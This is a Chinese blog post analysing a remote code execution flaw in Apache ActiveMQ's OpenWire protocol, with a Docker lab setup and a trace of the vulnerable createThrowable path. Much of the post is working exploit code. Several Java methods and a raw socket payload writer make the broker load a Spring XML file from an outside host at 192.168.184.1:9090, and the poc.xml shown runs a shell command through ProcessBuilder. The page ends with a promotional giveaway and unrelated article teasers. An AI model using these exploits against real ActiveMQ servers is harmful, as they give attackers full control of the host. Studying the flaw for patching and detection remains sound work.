Apache ActiveMQ 远程代码执行漏洞分析

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

image

结合 https://activemq.apache.org/version-5-getting-started

image

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616

CMD ["/start.sh"]


## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:
  activemq:
    build: .
    ports:
      - "8161:8161"
      - "61616:61616"

image

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

image​https://github.com/apache/activemq/compare/activemq-5.18.2…activemq-5.18.3

image

image新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

image

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext​ 加载远程配置文件实现 SPEL 表达式注入。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

寻找调用该方法的位置

image

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

image继续向上寻找调用

image

网上大部分都选用了 ExceptionResponseMarshaller​ 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

image​继续向上寻找调用

image

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image我们看到此时 dsm 的值是基于传入的 dis.readByte();

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>

ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {
        /*
         * 创建连接工厂,由 ActiveMQ 实现。构造方法参数
         * userName 用户名
         * password 密码
         * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号
         */
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
        //创建连接对象
        Connection connection = connectionFactory.createConnection();
        //启动连接
        connection.start();
        /*
         * 创建会话,参数含义:
         * 1.transacted - 是否使用事务
         * 2.acknowledgeMode - 消息确认机制,可选机制为:
         *  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
         *  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
         *  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
         */
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        //创建目的地,也就是队列名
        Destination destination = session.createQueue("q_test");
        //创建消息生成者,该生成者与目的地绑定
        MessageProducer mProducer = session.createProducer(destination);
        //创建消息
        Message message = session.createTextMessage("Hello, ActiveMQ");
        //发送消息
        mProducer.send(message);
        connection.close();
    }

image

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

image

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket​ 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket​ 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway​ 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);​ 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);​来触发

image

    public static void ExceptionResponseExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse expetionResponse = new ExceptionResponse();
        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(expetionResponse);
        //ExploitSession.asyncSendPacket(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
        connection.close();

    }

image

由于 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ConnectionError connectionError = new ConnectionError();
        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        //ExploitSession.syncSendPacket(connectionError);
        //ExploitSession.asyncSendPacket(connectionError);
        ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
        connection.close();

    }

    public static void MessageAckExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageAck messageAck  = new MessageAck();
        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(messageAck);
        //ExploitSession.asyncSendPacket(messageAck);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
        connection.close();

    }

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";
        int port = 61616;
        String pocxml= "http://192.168.184.1:9090/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
        out.writeInt(0); //
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
        out.close();
        os.close();
        sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

image

利用 wireFormat.unmarshal​ 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

image

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport​ 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /**
     * A one way asynchronous send
     */
    @Override
    public void oneway(Object command) throws IOException {
        checkStarted();
        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
        ExceptionResponse response = new ExceptionResponse(obj);
        wireFormat.marshal(response, dataOut);
        dataOut.flush();
    }

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。必须添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>touch</value>
                <value>/tmp/1.txt</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

漏洞复现

7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/304455.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker部署firefox浏览器,实现远程访问

拉取firefox镜像&#xff0c;部署代码 docker run -d --name firefox -e TZAsia/Hong_Kong -e DISPLAY_WIDTH1920 -e DISPLAY_HEIGHT1080 -e KEEP_APP_RUNNING1 -e ENABLE_CJK_FONT1 -e VNC_PASSWORD12345678ABCabc -p 5800:5800 -p 5900:5900 -v /docker/firefox/config:/…

阿里云计算平台大数据基础工程技术团队直聘!!!

大数据基础工程技术团队&#xff0c;隶属于阿里云智能集团计算平台事业部&#xff0c;是一支负责阿里集团、公共云和混合云场景计算平台大数据&AI产品的稳定性建设、架构&成本优化、运维产品ABM&#xff08;Apsara Big data Manager&#xff09;研发和售后技术专家支持…

05、Kafka ------ 各个功能的作用解释(主题和分区 详解,用命令行和图形界面创建主题和查看主题)

目录 CMAK 各个功能的作用解释&#xff08;主题&#xff09;★ 主题★ 分区★ 创建主题&#xff1a;★ 列出和查看主题 CMAK 各个功能的作用解释&#xff08;主题&#xff09; ★ 主题 Kafka 主题虽然也叫 topic&#xff0c;但它和 Pub-Sub 消息模型中 topic 主题及 AMQP 的 t…

好用的AI写作软件,这6款助你轻松写作

这几年&#xff0c;AI在线写作平台在国内市场上呈现出蓬勃发展的态势&#xff0c;这些写作软件能够帮助用户快速生成高质量的文章。下面我将介绍国内的6款AI在线写作平台&#xff0c;一起来看看吧&#xff01; 第一个爱制作AI 爱制作AI是拥有智能创作的AI在线写作平台之一&…

深兰科技AI医疗健康产品获3000台采购订单

12月6日&#xff0c;武汉某企业与深兰科技签署协议&#xff0c;一次性采购3000台深兰科技AI生理健康检测仪——扁鹊。 深兰科技AI生理健康检测仪——扁鹊是深兰科技推出的人体生理指标检测产品。基于AI生物技术、融合互联网医疗及AIoT技术&#xff0c;深兰科技AI生理健康检测仪…

限制选中指定个数CheckBox控件(2/2)

实例需求&#xff1a;工作表中有8个CheckBox控件&#xff08;下文中简称为控件&#xff09;&#xff0c;现在需要实现限制用户最多只能勾选4个控件。 在上一篇博客中已经实现了这个需求&#xff0c;其基本思路是用户选中第5个控件时&#xff0c;事件代码将取消勾选最后一个选中…

弱光图像增强算法(6大算法附程序),一站式解决论文实验比较部分

过往几年大量从事弱光图像增强的炒菜工作。 为了方便科研比较&#xff0c;也就是主观视觉比较和定量比较&#xff0c;提供一个集成程序给各位参考 非常简单&#xff0c;只需要点击Main.PY和修改输出的路径即可 本次收集的6类算法(EnlightenGAN, RUAS, SCI, ZeroDCE, ZeroDCE…

python封装接口自动化测试套件 !

在Python中&#xff0c;我们可以使用requests库来实现接口自动化测试&#xff0c;并使用unittest或pytest等测试框架来组织和运行测试套件。以下是一个基本的接口自动化测试套件封装示例&#xff1a; 首先&#xff0c;我们需要安装所需的库&#xff1a; pip install requests …

运动耳机怎么选?2024年运动耳机推荐,运动蓝牙耳机排行榜10强

​在现代生活中&#xff0c;音乐和运动已经成为很多人生活不可分割的一部分。运动耳机在这样的背景下变得越来越受欢迎&#xff0c;它们不仅可以在运动时提供音乐的陪伴&#xff0c;还能增加运动时的乐趣和动力。但是&#xff0c;面对市面上众多不同类型的运动耳机&#xff0c;…

Linux进程通信之管道

目录 1、无名管道 1.无名管道的特点 2.pipe函数创建管道 3.图例 2、命名管道&#xff08;FIFO&#xff09; 1.命名管道的特点 2.mkfifo 函数-创建命名管道 3.示例 1.循环读取数据 2.循环写入数据 1、无名管道 管道通常指的就是无名管道&#xff0c; 1.无名管道的特点…

校招行测,认知能力测验,④破解数量关系测试题

数量关系&#xff0c;值得是数量计算、对比和分析&#xff0c;每种题型都有一定的规律性&#xff0c;如果善于终结也是容易掌握的&#xff0c;当然&#xff0c;只有见多&#xff0c;才能识广&#xff0c;最好的方式就是&#xff0c;锻炼&#xff0c;刷题&#xff0c;就算是临时…

3D Web可视化开发工具包HOOPS Communicator:提供Web端浏览大型模型新方案!

前言&#xff1a;HOOPS Communicator是Tech Soft 3D旗下的主流产品之一&#xff0c;具有强大的、专用的高性能图形内核&#xff0c;专注于基于Web的高级3D工程应用程序。其由HOOPS Server和HOOPS Web Viewer两大部分组成&#xff0c;提供了HOOPS Convertrer、Data Authoring的模…

类和对象的定义以及使用

文章目录 1. 类和对象的基本概念1.1 JAVA是面向对象语言1.2 类和对象的描述 2. 类与对象的定义与使用2.1 类的定义格式2.2 类的实例化(对象的创建)2.3 举个例子 3. 对象的构造及初始化3.1构造方法3.1.1构造方法的定义3.1.2 构造方法的特性 4.2 默认初始化5.4 就地初始化 4.this…

九州金榜如何让孩子在家庭教育中更优秀

​ 每个人在出生时就有上天恩赐的两份礼物&#xff0c;一份是血脉相连的亲情&#xff0c;一份是家庭的关爱与教育。 最早接触的人就是父母&#xff0c;最早接触的教育就是家庭教育&#xff0c;这对孩子的影响极为深远。 这种家庭教育相比较学校教育&#xff0c;不仅有言传教…

认知能力测验,⑤破解图形推理测试题,校招社招网申在线测评必用

认知能力测试&#xff0c;如今是每个求职者必须要面对的&#xff0c;有的人可以顺顺利利通过&#xff0c;而有的人只能够遗憾止步。想要通过认知能力测验&#xff0c;并不是一件易事&#xff0c;而今天要说的图形推理&#xff0c;仅仅是其中的一个部分&#xff0c;抛砖引玉&…

2024.01.09.Apple_UI_BUG

我是软件行业的&#xff0c;虽然不是手机设计的&#xff0c;但是这个设计真的导致经常看信息不完整&#xff0c;要下拉的。 特别读取文本或者其他文件的时候&#xff0c;上面有个抬头就是看不到&#xff0c;烦&#xff0c;体验感很差

Requests库的接口测试实现

Requests库是在接口测试中被广泛运用的库&#xff0c;包括模拟请求的下发&#xff0c;请求相关配置和响应结果的获取&#xff0c;核心主体都是通过request库完成。在接口测试中使用非常频繁。 一、Requests库环境搭建 接口测试的核心从模拟请求开始。在Python中&#xff0c;通…

机器学习:数据处理与特征工程

机器学习中的数据处理和特征工程是非常关键的步骤&#xff0c;它们直接影响模型的性能和泛化能力。以下是一些常见的数据处理和特征工程技术&#xff1a; 数据处理&#xff1a; 缺失值处理&#xff1a; 处理数据中的缺失值&#xff0c;可以选择删除缺失值、填充均值/中位数/众…

HarmonyOS应用开发学习笔记 ArkTS 布局概述

一、布局概述 布局指用特定的组件或者属性来管理用户页面所放置UI组件的大小和位置。在实际的开发过程中&#xff0c;需要遵守以下流程保证整体的布局效果 确定页面的布局结构。分析页面中的元素构成。选用适合的布局容器组件或属性控制页面中各个元素的位置和大小约束。 二…

HarmonyOS应用开发学习笔记 UIAbility组件间交互 UIAbility启动,页面跳转结果回调

1、 HarmoryOS Ability页面的生命周期 2、 Component自定义组件 3、HarmonyOS 应用开发学习笔记 ets组件生命周期 4、HarmonyOS 应用开发学习笔记 ets组件样式定义 Styles装饰器&#xff1a;定义组件重用样式 Extend装饰器&#xff1a;定义扩展组件样式 5、HarmonyOS 应用开发…